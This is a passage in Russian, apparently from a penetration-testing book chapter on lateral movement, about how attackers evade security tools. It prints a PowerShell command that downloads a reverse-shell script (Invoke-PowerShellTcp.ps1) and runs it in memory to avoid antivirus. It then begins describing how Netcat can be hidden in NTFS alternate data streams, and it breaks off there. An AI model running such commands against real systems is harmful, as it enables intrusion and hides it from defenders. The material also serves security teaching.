Интернетмагазин

Избежать оповещений 
На этом этапе злоумышленнику следует избегать поднятия тревоги. Если сете-
вые администраторы обнаружат, что в сети существует угроза, они тщательно 
зачистят ее и аннулируют любое продвижение, достигнутое злоумышленни-
ком. Многие организации тратят значительные суммы на системы безопас-
ности, чтобы схватить злоумышленников. Средства обеспечения безопасности 
становятся все более эффективными и могут идентифицировать множество 
сигнатур хакерских утилит и вредоносных программ, которые те используют. 
Следовательно, это требует от злоумышленников разумных действий. Среди 
хакеров существует тенденция использовать легитимные средства для даль-
нейшего распространения по сети. Это утилиты и методы, которые известны 

---

144  Дальнейшее распространение по сети 
системе или являются ее частью и, следовательно, обычно не представляют 
угрозы. Поэтому системы безопасности игнорируют их.
Эти инструменты и методы позволили злоумышленникам перемещаться 
в защищенных сетях прямо под носом у систем безопасности.
Ниже приведен пример того, как злоумышленники могут не дать обнару-
жить себя с помощью PowerShell. Вы увидите, что вместо загрузки файла, ко-
торый будет сканироваться антивирусной системой жертвы, используется Po-
werShell. Он напрямую загружает в память файл PS1 из интернета, вместо того 
чтобы скачать его на диск, а затем загрузить:
PS > IEX (New-Object
Net.WebClient).DownloadString(‘http:///Invoke-PowerShellTcp.ps1’) 
Такая команда предотвратит пометку загружаемого файла антивирусными 
программами. Злоумышленники также могут использовать 
альтернативные
потоки данных (ADS) в файловой системе Windows NT (NTFS), чтобы избе-
жать оповещений. Используя ADS, злоумышленники могут скрывать свои фай-
лы в допустимых системных файлах, что может быть отличной стратегией для 
перемещения между системами. Следующая команда скопирует Netcat (